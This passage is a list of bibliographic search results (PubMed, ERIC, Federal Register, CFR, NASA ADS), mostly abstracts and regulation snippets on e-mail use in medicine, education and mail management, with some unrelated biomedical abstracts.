prescriptions dispensed at mail order pharmacies than for those dispensed at retail pharmacies in the Medicare Part D program. The higher payments appeared to result, for the most part, because of higher patient cost sharing at retail pharmacies. Further, total costs--including both third-party payer and patient payments--for 90-day and 90-day or greater supplies were lower at retail pharmacies than at mail pharmacies. These results suggest that, all other things being equal, Medicare Part D plan sponsors do not realize savings when patients use mail order pharmacies.

Getting started with electronic mail.

PubMed Central

Van Vuren, D D; Johnson, D E

1985-01-01

This paper gives suggestions to librarians on how to get started with electronic mail. It discusses the cost- and time-saving advantages of using electronic mail rather than TWX, United States mail, or telephones for communicating ILL requests and messages. For instance, preliminary cost data show that electronic mail is often half as expensive as TWX and costs no more than a 22 stamp. Key management concerns that must be considered when setting up electronic mail are discussed, including the need for subscribers to agree on one system. Also covered are the types of equipment that can be used with electronic mail, including print terminals. PMID:4027444

Secure E-mailing Between Physicians and Patients

PubMed Central

Garrido, Terhilda; Meng, Di; Wang, Jian J.; Palen, Ted E.; Kanter, Michael H.

2014-01-01

Secure e-mailing between Kaiser Permanente physicians and patients is widespread; primary care providers receive an average of 5 e-mails from patients each workday. However, on average, secure e-mailing with patients has not substantially impacted primary care provider workloads. Secure e-mail has been associated with increased member retention and improved quality of care. Separate studies associated patient portal and secure e-mail use with both decreased and increased use of other health care services, such as office visits, telephone encounters, emergency department visits, and hospitalizations. Directions for future research include more granular analysis of associations between patient-physician secure e-mail and health care utilization. PMID:24887522

Did You Get My E-Mail? Moving E-Mails beyond the Inbox

ERIC Educational Resources Information Center

Ellis, Susan J.

2011-01-01

The challenge today is how to make e-mail and other forms of electronic communication effective in motivating volunteer action. Is it possible to make e-mails feel personal and welcoming? E-mail, instant messaging, texting, and social media are tools that allow individuals to communicate quickly and inexpensively, but they are lifeless without the…

78 FR 12234 - Promotions and Incentive Programs for First-Class Mail and Standard Mail

Federal Register 2010, 2011, 2012, 2013, 2014

2013-02-22

...] (BRM) or Courtesy Reply Mail TM (CRM) card or letter bearing a qualifying Intelligent Mail[supreg... mechanism for their customers and to keep the BRM/ CRM envelopes in their outgoing mail pieces by providing a financial benefit when the BRM/CRM envelopes are used. Registration is January 15 to March 31...

77 FR 23643 - Advance Notice of Implementation of Full-Service Intelligent Mail Required for Automation Prices

Federal Register 2010, 2011, 2012, 2013, 2014

2012-04-20

... of the technology evolution. The plan is that effective with the proposed starting date of January...), business mail acceptance procedures will be scaled down, with automation mailings verified during mail... tools, to make it easier for mailers to prepare and submit Full-Service mailings. In support of the...

41 CFR 102-192.150 - What are your general responsibilities as a program level mail manager?

Code of Federal Regulations, 2010 CFR

2010-07-01

... responsibilities as a program level mail manager? 102-192.150 Section 102-192.150 Public Contracts and Property... general responsibilities as a program level mail manager? Your responsibilities at the program level include— (a) Working closely with the agency mail manager and mail center managers who handle significant...

41 CFR 102-192.120 - Must we have an agency mail manager?

Code of Federal Regulations, 2010 CFR

2010-07-01

... mail manager? 102-192.120 Section 102-192.120 Public Contracts and Property Management Federal Property... MANAGEMENT Agency Mail Manager Requirements § 102-192.120 Must we have an agency mail manager? Yes, every Federal agency as defined in § 102-192.35 must have an agency mail manager. Agencies that are not “large...

41 CFR 102-192.145 - Which program levels should have a mail manager?

Code of Federal Regulations, 2010 CFR

2010-07-01

... should have a mail manager? 102-192.145 Section 102-192.145 Public Contracts and Property Management... have a mail manager? Every program level within a Federal agency that generates a significant quantity of outgoing mail should have its own mail manager. Each agency must decide which programs will have a...

78 FR 78720 - Deferral of Compliance Date: Full-Service Intelligent Mail Barcode Requirement To Qualify for...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-27

...The Postal Service gives notice that it is deferring the previously-announced compliance date of January 26, 2014, for mailers to use full-service Intelligent Mail[supreg] to qualify for automation prices when mailing First-Class Mail[supreg], Standard Mail[supreg]; Periodicals[supreg], and Bound Printed Matter[supreg] mailpieces.

41 CFR 102-192.175 - What types of support does GSA offer to Federal agency mail management programs?

Code of Federal Regulations, 2014 CFR

2014-01-01

... container two or more pieces of mail directed to the same addressee or installation on the same day... System (OMAS) means the USPS Government-specific system used to track postage. Outgoing mail means mail... keep track of mail expenditures? All agencies must have an accountable system for making postage...

Ethical guidelines for use of electronic mail between patients and physicians.

PubMed

Bovi, Amy M

2003-01-01

This report examines the ethical implications of electronic communication, focusing on the use of electronic mail (e-mail), considers its impact on a previously established patient-physician relationship, and the limitations in using e-mail to create a new patient-physician relationship. In its recommendations, this report offers guidance to physicians who use electronic mail to communicate with patients and online users. These guidelines maintain that e-mail should not be used to establish a patient-physician relationship, but rather to supplement personal encounters. When using e-mail, physicians hold the same ethical responsibilities to their patients as they do during other encounters and that information must be presented in a manner that meets professional standards. The report requires that physicians notify patients of e-mail's inherent limitations and that patients be given the opportunity to accept these limitations prior to the communication of privileged information. Finally, physicians should be aware of privacy and confidentiality concerns when using e-mail to communicate with patients.

Unsolicited E-mails to Forensic Psychiatrists.

PubMed

Friedman, Susan Hatters; Appel, Jacob M; Ash, Peter; Frierson, Richard L; Giorgi-Guarnieri, Deborah; Martinez, Richard; Newman, Alan W; Pinals, Debra A; Resnick, Phillip J; Simpson, Alexander I F

2016-12-01

E-mail communication is pervasive. Since many forensic psychiatrists have their e-mail addresses available online (either on personal websites, university websites, or articles they have authored), they are likely to receive unsolicited e-mails. Although there is an emerging body of literature about exchanging e-mail with patients, there is little guidance about how to respond to e-mails from nonpatients. Therefore, we used a Delphi technique to develop a consensus about salient points for the forensic psychiatrist to consider regarding responding to e-mails from nonpatients and the risks entailed. Four scenarios are described, including e-mails from nonpatients and unknown others requesting advice or help. The potential ethics-related, legal, moral, and practical concerns for forensic psychiatrists are discussed. Finally, potential pitfalls for forensic psychiatrists are described. © 2016 American Academy of Psychiatry and the Law.

EX-PRESS Glaucoma Filtration Device: efficacy, safety, and predictability

PubMed Central

Chan, Jessica E; Netland, Peter A

2015-01-01

Trabeculectomy has been the traditional primary surgical therapy for open-angle glaucoma. While trabeculectomy is effective in lowering intraocular pressure, complications associated with the procedure have motivated the development of alternative techniques and devices, including the EX-PRESS Glaucoma Filtration Device. This review describes the efficacy, safety, complication rates, and potential advantages and disadvantages of the EX-PRESS Glaucoma Filtration Device. EX-PRESS implantation is technically simpler compared with that of trabeculectomy, with fewer surgical steps. Vision recovery has been more rapid after EX-PRESS implantation compared with trabeculectomy. Intraocular pressure variation is lower during the early postoperative period, indicating a more predictable procedure. While efficacy of the EX-PRESS implant has been comparable to trabeculectomy, postoperative complications appear less common after EX-PRESS implantation compared with trabeculectomy. The EX-PRESS Glaucoma Filtration Device appears to be safe and effective in the surgical management of open-angle glaucoma. PMID:26366105

Assessing phagotrophy in the mixotrophic ciliate Paramecium bursaria using GFP-expressing yeast cells.

PubMed

Miura, Takashi; Moriya, Hisao; Iwai, Sosuke

2017-07-03

We used cells of the yeast Saccharomyces cerevisiae expressing green fluorescent protein (GFP) as fluorescently labelled prey to assess the phagocytic activities of the mixotrophic ciliate Paramecium bursaria, which harbours symbiotic Chlorella-like algae. Because of different fluorescence spectra of GFP and algal chlorophyll, ingested GFP-expressing yeast cells can be distinguished from endosymbiotic algal cells and directly counted in individual P. bursaria cells using fluorescence microscopy. By using GFP-expressing yeast cells, we found that P. bursaria altered ingestion activities under different physiological conditions, such as different growth phases or the presence/absence of endosymbionts. Use of GFP-expressing yeast cells allowed us to estimate the digestion rates of live prey of the ciliate. In contrast to the ingestion activities, the digestion rate within food vacuoles was not affected by the presence of endosymbionts, consistent with previous findings that food and perialgal vacuoles are spatially and functionally separated in P. bursaria. Thus, GFP-expressing yeast may provide a valuable tool to assess both ingestion and digestion activities of ciliates that feed on eukaryotic organisms. © FEMS 2017. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

Contemporary Scientists Discuss the Need for Openness and Open-Mindedness in Science and Society

NASA Astrophysics Data System (ADS)

Mulhall, Pamela J.; Smith, Dorothy V.; Hart, Christina E.; Gunstone, Richard F.

2017-10-01

We report on findings from a qualitative study of Australian scientists whose work brings them into contact with the public. This research sought to understand how a school science curriculum could better represent the work of scientists today. We discuss the views expressed by our participant scientists about the importance of openness and open-mindedness in their work, including their engagement with the public. They described openness as an important characteristic of science. Our participants also see open-mindedness on the part of both scientists and members of the public as important for productive relationships. They see the development of such relationships as an essential facet of their work. The views expressed by these scientists provide a provocative insight into the ways in which contemporary scientists see their work and relationships with their communities. Their perspectives have important implications for approaches to teaching science in schools.

'No one agrees except for those of us who have it': endometriosis patients as an epistemological community.

PubMed

Whelan, Emma

2007-11-01

This paper contributes to the literature on patients' claims-making work by analysing the epistemological strategies and standards used by members of an endometriosis patient community. It draws upon focus group research with members of a support group for endometriosis sufferers, and an open-ended survey of an e-mail list for women with the disease. Lynn Hankinson Nelson's (1993) concept of epistemological community is used to examine standards and practices for developing and evaluating knowledge used by women with endometriosis. Particular attention is paid to the use and centrality of the notion of experience within this community.

To friend or not to friend: the use of social media in clinical oncology.

PubMed

Wiener, Lori; Crum, Caroline; Grady, Christine; Merchant, Melinda

2012-03-01

Online social networking has replaced more traditional methods of personal and professional communication in many segments of society today. The wide reach and immediacy of social media facilitate dissemination of knowledge in advocacy and cancer education, but the usefulness of social media in personal relationships between patients and providers is still unclear. Although professional guidelines regarding e-mail communication may be relevant to social media, the inherent openness in social networks creates potential boundary and privacy issues in the provider-patient context. This commentary seeks to increase provider awareness of unique issues and challenges raised by the integration of social networking into oncology communications.

Utilizing technology for longitudinal communication with homeless youth.

PubMed

Bender, Kimberly; Begun, Stephanie; DePrince, Anne; Haffejee, Badiah; Kaufmann, Sarah

2014-10-01

The current study investigated forms of technology (phone calls, texts, email and Facebook) for maintaining contact with homeless youth over baseline, 1-week, 6-week, and 3-month follow-up interviews. The study combined quantitative tracking of youths' response patterns and open-ended interviews regarding youths' preferred methods of communication. Results indicate that maintaining communication with homeless youth requires persistence, including frequent contact attempts over several days. Cell phone contacts (calls or texts) were most successful in communicating with youth, with e-mail and Facebook messaging useful when phones were lost or stolen. Youth who maintained contact were strikingly similar to youth who discontinued contact.

Final slate for AGU elections this fall

NASA Astrophysics Data System (ADS)

2012-07-01

Your vote is important! This fall, AGU members will elect leaders for the next term (1 January 2013 to 31 December 2014). This issue of Eos provides details about the upcoming election and information on candidates for open AGU Board and Council positions as well as section and focus group secretary positions. All regular and student members who joined or renewed their membership by 1 July 2012 are eligible to vote in this year's election of AGU leaders. The election will be held electronically, and all members must have a valid e-mail address on file at AGU to receive login credentials from the company conducting the election.

Secure e-mailing between physicians and patients: transformational change in ambulatory care.

PubMed

Garrido, Terhilda; Meng, Di; Wang, Jian J; Palen, Ted E; Kanter, Michael H

2014-01-01

Secure e-mailing between Kaiser Permanente physicians and patients is widespread; primary care providers receive an average of 5 e-mails from patients each workday. However, on average, secure e-mailing with patients has not substantially impacted primary care provider workloads. Secure e-mail has been associated with increased member retention and improved quality of care. Separate studies associated patient portal and secure e-mail use with both decreased and increased use of other health care services, such as office visits, telephone encounters, emergency department visits, and hospitalizations. Directions for future research include more granular analysis of associations between patient-physician secure e-mail and health care utilization.

The Use of Certified Mail in Mail Surveys. Research Memorandum No. 73-25.

ERIC Educational Resources Information Center

Echternacht, Gary J.; McCaffrey, Patty J.

The cost effectiveness of using certified mail as a device to raise response rates in mail surveys is investigated. Of the three optional services offered by the Post Office when sending certified mail, the base certified rate was recommended, since the Post Office often failed to perform the more expensive services. A sample of 120 students from…

Feasibility study of the use of a daily electronic mail reminder to improve oral contraceptive compliance.

PubMed

Fox, Michelle C; Creinin, Mitchell D; Murthy, Amitasrigowri S; Harwood, Bryna; Reid, Lynn M

2003-11-01

Women who ingest their oral contraceptive pill (OCP) as part of a daily routine are more likely use their OCPs correctly. This trial examines the feasibility of an electronic-mail (e-mail) reminder system to improve OCP compliance. An e-mail reminder was sent to 50 new OCP users daily for 3 months. Subjects sent an e-mail reply to confirm receipt. OCP compliance was recorded on diaries. Four subjects were discontinued for not checking their e-mail. Active participants missed a median of 18% of the e-mail reminders (range: 0-65%). A follow-up visit was scheduled after completion of three OCP cycles. Of the 40 subjects returning completed diaries, 50% missed no active pills at all and 20% missed at least one in each cycle. Most found the daily e-mail somewhat (65%) or very helpful (19%) for OCP compliance. Of those continuing OCPs, 64% wanted to continue receiving e-mail reminders at the completion of the study. Because inconsistent OCP use is a significant cause of unplanned conception, the use of e-mail to improve OCP compliance has the potential to decrease unintended pregnancies.

The GenABEL Project for statistical genomics

PubMed Central

Karssen, Lennart C.; van Duijn, Cornelia M.; Aulchenko, Yurii S.

2016-01-01

Development of free/libre open source software is usually done by a community of people with an interest in the tool. For scientific software, however, this is less often the case. Most scientific software is written by only a few authors, often a student working on a thesis. Once the paper describing the tool has been published, the tool is no longer developed further and is left to its own device. Here we describe the broad, multidisciplinary community we formed around a set of tools for statistical genomics. The GenABEL project for statistical omics actively promotes open interdisciplinary development of statistical methodology and its implementation in efficient and user-friendly software under an open source licence. The software tools developed withing the project collectively make up the GenABEL suite, which currently consists of eleven tools. The open framework of the project actively encourages involvement of the community in all stages, from formulation of methodological ideas to application of software to specific data sets. A web forum is used to channel user questions and discussions, further promoting the use of the GenABEL suite. Developer discussions take place on a dedicated mailing list, and development is further supported by robust development practices including use of public version control, code review and continuous integration. Use of this open science model attracts contributions from users and developers outside the “core team”, facilitating agile statistical omics methodology development and fast dissemination. PMID:27347381

Unconditional and conditional incentives differentially improved general practitioners' participation in an online survey: randomized controlled trial.

PubMed

Young, Jane M; O'Halloran, Anna; McAulay, Claire; Pirotta, Marie; Forsdike, Kirsty; Stacey, Ingrid; Currow, David

2015-06-01

To compare the impact of unconditional and conditional financial incentives on response rates among Australian general practitioners invited by mail to participate in an online survey about cancer care and to investigate possible differential response bias between incentive groups. Australian general practitioners were randomly allocated to unconditional incentive (book voucher mailed with letter of invitation), conditional incentive (book voucher mailed on completion of the online survey), or control (no incentive). Nonresponders were asked to complete a small subset of questions from the online survey. Among 3,334 eligible general practitioners, significantly higher response rates were achieved in the unconditional group (167 of 1,101, 15%) compared with the conditional group (118 of 1,111, 11%) (P = 0.0014), and both were significantly higher than the control group (74 of 1,122, 7%; both P < 0.001). Although more positive opinions about cancer care were expressed by online responders compared with nonresponders, there was no evidence that the magnitude of difference varied by the incentive group. The incremental cost for each additional 1% increase above the control group response rate was substantially higher for the unconditional incentive group compared with the conditional incentive group. Both unconditional and conditional financial incentives significantly increased response with no evidence of differential response bias. Although unconditional incentives had the largest effect, the conditional approach was more cost-effective. Copyright © 2015 Elsevier Inc. All rights reserved.

E-Mail Communication Practices and Preferences Among Patients and Providers in a Large Comprehensive Cancer Center.

PubMed

Cook, Natalie; Maganti, Manjula; Dobriyal, Aditi; Sheinis, Michal; Wei, Alice C; Ringash, Jolie; Krzyzanowska, Monika K

2016-07-01

Little is known about how electronic mail (e-mail) is currently used in oncology practice to facilitate patient care. The objective of our study was to understand the current e-mail practices and preferences of patients and physicians in a large comprehensive cancer center. Separate cross-sectional surveys were administered to patients and physicians (staff physicians and clinical fellows) at the Princess Margaret Cancer Centre. Logistic regression was used to identify factors associated with current e-mail use. Record review was performed to assess the impact of e-mail communication on care. The survey was completed by 833 patients. E-mail contact with a member of the health care team was reported by 41% of respondents. The team members contacted included administrative assistants (52%), nurses (45%), specialist physicians (36%), and family physicians (18%). Patient factors associated with a higher likelihood of e-mail contact with the health care team included younger age, higher education, higher income, enrollment in a clinical trial, and receipt of multiple treatments. Eighty percent of physicians (n = 63 of 79) reported previous contact with a patient via e-mail. Physician factors associated with a greater likelihood of e-mail contact with patients included older age, more senior clinical position, and higher patient volume. Nine hundred sixty-two patient records were reviewed, with e-mail correspondence documented in only 9% of cases. E-mail is commonly used for patient care but is poorly documented. The use of e-mail in this setting can be developed with appropriate guidance; however, there may be concerns about widening the gap between certain groups of patients. Copyright © 2016 by American Society of Clinical Oncology.

Dysregulation of Ezrin phosphorylation prevents metastasis and alters cellular metabolism in osteosarcoma

PubMed Central

Ren, Ling; Hong, Sung-Hyeok; Chen, Qing-Rong; Briggs, Joseph; Cassavaugh, Jessica; Srinivasan, Satish; Lizardo, Michael M.; Mendoza, Arnulfo; Xia, Ashley Y.; Avadhani, Narayan; Khan, Javed; Khanna, Chand

2013-01-01

Ezrin links the plasma membrane to the actin cytoskeleton where it plays a pivotal role in the metastatic progression of several human cancers (1, 2), however, the precise mechanistic basis for its role remains unknown. Here we define transitions between active (phosphorylated open) and inactive (dephosphorylated closed) forms of Ezrin that occur during metastatic progression in osteosarcoma. In our evaluation of these conformations we expressed C-terminal mutant forms of Ezrin that are open (phosphomimetic T567D) or closed (phosphodeficient T567A) and compared their biological characteristics to full length wild-type Ezrin in osteosarcoma cells. Unexpectedly, cells expressing open, active Ezrin could form neither primary orthotopic tumors nor lung metastases. In contrast, cells expressing closed, inactive Ezrin were also deficient in metastasis but were unaffected in their capacity for primary tumor growth. By imaging single metastatic cells in the lung, we found that cells expressing either open or closed Ezrin displayed increased levels of apoptosis early after their arrival in the lung. Gene expression analysis suggested dysregulation of genes that are functionally linked to carbohydrate and amino acid metabolism. In particular, cells expressing closed, inactive Ezrin exhibited reduced lactate production and basal or ATP-dependent oxygen consumption. Collectively, our results suggest that dynamic regulation of Ezrin phosphorylation at amino acid T567 that controls structural transitions of this protein plays a pivotal role in tumor progression and metastasis, possibly in part by altering cellular metabolism. PMID:22147261

A brain-computer interface controlled mail client.

PubMed

Yu, Tianyou; Li, Yuanqing; Long, Jinyi; Wang, Cong

2013-01-01

In this paper, we propose a brain-computer interface (BCI) based mail client. This system is controlled by hybrid features extracted from scalp-recorded electroencephalographic (EEG). We emulate the computer mouse by the motor imagery-based mu rhythm and the P300 potential. Furthermore, an adaptive P300 speller is included to provide text input function. With this BCI mail client, users can receive, read, write mails, as well as attach files in mail writing. The system has been tested on 3 subjects. Experimental results show that mail communication with this system is feasible.

Tinnitus referral pathways within the National Health Service in England: a survey of their perceived effectiveness among audiology staff

PubMed Central

2011-01-01

Background In the UK, audiology services deliver the majority of tinnitus patient care, but not all patients experience the same level of service. In 2009, the Department of Health released a Good Practice Guide to inform commissioners about key aspects of a quality tinnitus service in order to promote equity of tinnitus patient care in UK primary care, audiology, and in specialist multi-disciplinary centres. The purpose of the present research was to evaluate utilisation and opinions on pathways for the referral of tinnitus patients to and from English Audiology Departments. Methods We surveyed all audiology staff engaged in providing tinnitus services across England. A 36-item questionnaire was mailed to 351 clinicians in all 163 National Health Service (NHS) Trusts identified as having a tinnitus service. 138 clinicians responded. The results presented here describe experiences and opinions of the current patient pathways to and from the audiology tinnitus service. Results The most common referral pathway was from general practice to a hospital-based Ear, Nose & Throat department and from there to a hospital-based audiology department (64%). Respondents considered the NHS tinnitus referral process to be generally effective (67%), but expressed needs for improving GP referral and patients' access to services. 'Open access' to the audiology clinic was rarely an option for patients (9%), nor was the opportunity to access specialist counselling provided by clinical psychology (35%). To decrease the number of inappropriate referrals, 40% of respondents called for greater awareness by referrers about the audiology tinnitus service. Conclusions Respondents in the present survey were generally satisfied with the tinnitus referral system. However, they highlighted some potential targets for service improvement including 1] faster and more appropriate referral from GPs, to be achieved through education on tinnitus referral criteria, 2] improved access to psychological services through audiologist training, and 3] ongoing support from tinnitus support groups, national charities, or open access to the tinnitus clinic for existing patients. PMID:21733188

Tinnitus referral pathways within the National Health Service in England: a survey of their perceived effectiveness among audiology staff.

PubMed

Gander, Phillip E; Hoare, Derek J; Collins, Luke; Smith, Sandra; Hall, Deborah A

2011-07-06

In the UK, audiology services deliver the majority of tinnitus patient care, but not all patients experience the same level of service. In 2009, the Department of Health released a Good Practice Guide to inform commissioners about key aspects of a quality tinnitus service in order to promote equity of tinnitus patient care in UK primary care, audiology, and in specialist multi-disciplinary centres. The purpose of the present research was to evaluate utilisation and opinions on pathways for the referral of tinnitus patients to and from English Audiology Departments. We surveyed all audiology staff engaged in providing tinnitus services across England. A 36-item questionnaire was mailed to 351 clinicians in all 163 National Health Service (NHS) Trusts identified as having a tinnitus service. 138 clinicians responded. The results presented here describe experiences and opinions of the current patient pathways to and from the audiology tinnitus service. The most common referral pathway was from general practice to a hospital-based Ear, Nose & Throat department and from there to a hospital-based audiology department (64%). Respondents considered the NHS tinnitus referral process to be generally effective (67%), but expressed needs for improving GP referral and patients' access to services. 'Open access' to the audiology clinic was rarely an option for patients (9%), nor was the opportunity to access specialist counselling provided by clinical psychology (35%). To decrease the number of inappropriate referrals, 40% of respondents called for greater awareness by referrers about the audiology tinnitus service. Respondents in the present survey were generally satisfied with the tinnitus referral system. However, they highlighted some potential targets for service improvement including 1] faster and more appropriate referral from GPs, to be achieved through education on tinnitus referral criteria, 2] improved access to psychological services through audiologist training, and 3] ongoing support from tinnitus support groups, national charities, or open access to the tinnitus clinic for existing patients.

K+ channel openers prevent global ischemia-induced expression of c-fos, c-jun, heat shock protein, and amyloid beta-protein precursor genes and neuronal death in rat hippocampus.

PubMed Central

Heurteaux, C; Bertaina, V; Widmann, C; Lazdunski, M

1993-01-01

Transient global forebrain ischemia induces in rat brain a large increase of expression of the immediate early genes c-fos and c-jun and of the mRNAs for the 70-kDa heat-shock protein and for the form of the amyloid beta-protein precursor including the Kunitz-type protease-inhibitor domain. At 24 hr after ischemia, this increased expression is particularly observed in regions that are vulnerable to the deleterious effects of ischemia, such as pyramidal cells of the CA1 field in the hippocampus. In an attempt to find conditions which prevent the deleterious effects of ischemia, representatives of three different classes of K+ channel openers, (-)-cromakalim, nicorandil, and pinacidil, were administered both before ischemia and during the reperfusion period. This treatment totally blocked the ischemia-induced expression of the different genes. In addition it markedly protected neuronal cells against degeneration. The mechanism of the neuroprotective effects involves the opening of ATP-sensitive K+ channels since glipizide, a specific blocker of that type of channel, abolished the beneficial effects of K+ channel openers. The various classes of K+ channel openers seem to deserve attention as potential drugs for cerebral ischemia. Images Fig. 1 Fig. 2 Fig. 3 Fig. 4 Fig. 5 PMID:8415718

Advantages and Disadvantages of Using E-Mail as Instructional Aid: Some Random Thoughts.

ERIC Educational Resources Information Center

Xu, Gong-Li

This paper explores the educational benefits and limitations of e-mail as an instructional aid to classroom-based teaching. It looks at practical ideas of how e-mail has been used to aid classroom instruction, and highlights and examines each usage of e-mail in terms of its effects on classroom teaching. E-mail systems have been used for classroom…

75 FR 17861 - 2010 Standard Mail Incentive Program

Federal Register 2010, 2011, 2012, 2013, 2014

2010-04-08

...The Postal Service is revising Mailing Standards of the United States Postal Service, Domestic Mail Manual (DMM[supreg]), to replace existing section 709.2 with new standards for a volume incentive program for mailers of Standard Mail[supreg] letters and flats with mail volume exceeding their individual USPS[supreg]--determined threshold levels. The program period will be from July 1, 2010 through September 30, 2010.

Perceptions and use of e-mail among Universiti Utara Malaysia staff: A pilot study

NASA Astrophysics Data System (ADS)

Mohamed, Shafinah Farvin Packeer; Ku-Mahamud, Ku Ruhana; Ramli, Razamin; Abdullah, Kamarudin

2017-10-01

The use of e-mail has become common either for work purposes or personal usage. Despite its usefulness, complain about the overwhelming messages received which cause the users to have problem in managing those messages. Similar situation occurred among Universiti Utara Malaysia (UUM) staff. Thus, a pilot study was conducted to investigate its staff's perception and use of e-mail in order to improve the e-mail service provided to them. This paper discusses the findings from the pilot study, which involves 41 UUM staff. Self-administered questionnaires were used to gather the data, while descriptive statistical analysis was used for data analysis. The findings of the study reveal that UUM staff appreciate the e-mail service. However they faced problems like limited storage size and overwhelming e-mails. They think that UUM e-mail is being abused by the repeating advertisements and news sent to them. The output of this study can be used as a guideline by the UUM management in revising its e-mail policy to serve better quality of e-mail service.

Physicians slow to e-mail routinely with patients.

PubMed

Boukus, Ellyn R; Grossman, Joy M; O'Malley, Ann S

2010-10-01

Some experts view e-mail between physicians and patients as a potential tool to improve physician-patient communication and, ultimately, patient care. Despite indications that many patients want to e-mail their physicians, physician adoption and use of e-mail with patients remains uncommon--only 6.7 percent of office-based physicians routinely e-mailed patients in 2008, according to a new national study from the Center for Studying Health System Change (HSC). Overall, about one-third of office-based physicians reported that information technology (IT) was available in their practice for e-mailing patients about clinical issues. Of those, fewer than one in five reported using e-mail with patients routinely; the remaining physicians were roughly evenly split between occasional users and non-users. Physicians in practices with access to electronic medical records and those working in health maintenance organizations (HMOs) or medical school settings were more likely to adopt and use e-mail to communicate with patients compared with other physicians. However, even among the highest users--physicians in group/staff-model HMOs--only 50.6 percent reported routinely e-mailing patients.

21 CFR 56.106 - Registration.

Code of Federal Regulations, 2010 CFR

2010-04-01

... institution operating the IRB and the name, mailing address, phone number, facsimile number, and electronic... address), phone number, facsimile number, and electronic mail address; each IRB chairperson's name, phone number, and electronic mail address; and the name, mailing address, phone number, facsimile number, and...

41 CFR 102-192.100 - How do we submit our annual mail management report to GSA?

Code of Federal Regulations, 2012 CFR

2012-01-01

... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Reporting Requirements § 102-192.100 How do we submit our annual mail... annual reports using the GSA web-based Electronic Performance Support Tool (EPST). Agency mail managers...

41 CFR 102-192.100 - How do we submit our annual mail management report to GSA?

Code of Federal Regulations, 2013 CFR

2013-07-01

... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Reporting Requirements § 102-192.100 How do we submit our annual mail... annual reports using the GSA web-based Electronic Performance Support Tool (EPST). Agency mail managers...

41 CFR 102-192.100 - How do we submit our annual mail management report to GSA?

Code of Federal Regulations, 2011 CFR

2011-01-01

... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Reporting Requirements § 102-192.100 How do we submit our annual mail... annual reports using the GSA web-based Electronic Performance Support Tool (EPST). Agency mail managers...

41 CFR 102-192.100 - How do we submit our annual mail management report to GSA?

Code of Federal Regulations, 2014 CFR

2014-01-01

... ADMINISTRATIVE PROGRAMS 192-MAIL MANAGEMENT Reporting Requirements § 102-192.100 How do we submit our annual mail... annual reports using the GSA web-based Electronic Performance Support Tool (EPST). Agency mail managers...

21 CFR 56.106 - Registration.

Code of Federal Regulations, 2013 CFR

2013-04-01

... institution operating the IRB and the name, mailing address, phone number, facsimile number, and electronic... address), phone number, facsimile number, and electronic mail address; each IRB chairperson's name, phone number, and electronic mail address; and the name, mailing address, phone number, facsimile number, and...

21 CFR 56.106 - Registration.

Code of Federal Regulations, 2014 CFR

2014-04-01

... institution operating the IRB and the name, mailing address, phone number, facsimile number, and electronic... address), phone number, facsimile number, and electronic mail address; each IRB chairperson's name, phone number, and electronic mail address; and the name, mailing address, phone number, facsimile number, and...

The Use of E-Mail as a Tool To Enhance Second Language Education Programs: An Example from a Core French Classroom.

ERIC Educational Resources Information Center

Lawrence, Geoff

2002-01-01

Outlines reasons why electronic mail, and specifically e-mail exchanges, are valuable tools for promoting authentic target language interaction in the second language (L2) classroom. Research examining the use of e-mail exchanges on the L2 learning process is outlined, followed by one specific example of an e-mail exchange in a secondary core…

Tobacco industry direct mail receipt and coupon use among young adult smokers.

PubMed

Jane Lewis, M; Bover Manderski, Michelle T; Delnevo, Cristine D

2015-02-01

To examine young adult smokers' receipt of tobacco industry direct mail and use of coupons to purchase cigarettes. A total of 699 young adults from a 2011 national survey who reported smoking every day/some days provided self-report data on past-six month receipt of direct mail and past-six month use of coupons to purchase cigarettes. Multivariable logistic regression models were used to calculate adjusted odds of direct mail receipt and coupon use. Overall, 25.1% of young adult smokers reported receiving direct mail from a tobacco company and 24.2% had used a coupon to buy cigarettes in the past 6 months. Direct mail receipt and coupon use to purchase cigarettes were significantly higher among females, daily smokers, and whites. Nearly 70% of smokers who received direct mail had also used a coupon to purchase cigarettes in the preceding 6 months. Brand websites were the most commonly reported means of joining a direct mailing list. This study adds to limited research showing receipt of direct mail and use of price reducing coupons by young adults. Also, higher rates of direct mail receipt and coupon use among females suggest that these strategies may be especially effective in encouraging smoking in females. Copyright © 2014 Elsevier Inc. All rights reserved.

Nudging Leads Consumers In Colorado To Shop But Not Switch ACA Marketplace Plans.

PubMed

Marzilli Ericson, Keith M; Kingsdale, Jon; Layton, Tim; Sacarny, Adam

2017-02-01

The Affordable Care Act (ACA) dramatically expanded the use of regulated marketplaces in health insurance, but consumers often fail to shop for plans during open enrollment periods. Typically these consumers are automatically reenrolled in their old plans, which potentially exposes them to unexpected increases in their insurance premiums and cost sharing. We conducted a randomized intervention to encourage enrollees in an ACA Marketplace to shop for plans. We tested the effect of letters and e-mails with personalized information about the savings on insurance premiums that they could realize from switching plans and the effect of generic communications that simply emphasized the possibility of saving. The personalized and generic messages both increased shopping on the Marketplace's website by 23 percent, but neither type of message had a significant effect on plan switching. These findings show that simple "nudges" with even generic information can promote shopping in health insurance marketplaces, but whether they can lead to switching remains an open question. Project HOPE—The People-to-People Health Foundation, Inc.

Efficient visualization of high-throughput targeted proteomics experiments: TAPIR.

PubMed

Röst, Hannes L; Rosenberger, George; Aebersold, Ruedi; Malmström, Lars

2015-07-15

Targeted mass spectrometry comprises a set of powerful methods to obtain accurate and consistent protein quantification in complex samples. To fully exploit these techniques, a cross-platform and open-source software stack based on standardized data exchange formats is required. We present TAPIR, a fast and efficient Python visualization software for chromatograms and peaks identified in targeted proteomics experiments. The input formats are open, community-driven standardized data formats (mzML for raw data storage and TraML encoding the hierarchical relationships between transitions, peptides and proteins). TAPIR is scalable to proteome-wide targeted proteomics studies (as enabled by SWATH-MS), allowing researchers to visualize high-throughput datasets. The framework integrates well with existing automated analysis pipelines and can be extended beyond targeted proteomics to other types of analyses. TAPIR is available for all computing platforms under the 3-clause BSD license at https://github.com/msproteomicstools/msproteomicstools. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

KeyWare: an open wireless distributed computing environment

NASA Astrophysics Data System (ADS)

Shpantzer, Isaac; Schoenfeld, Larry; Grindahl, Merv; Kelman, Vladimir

1995-12-01

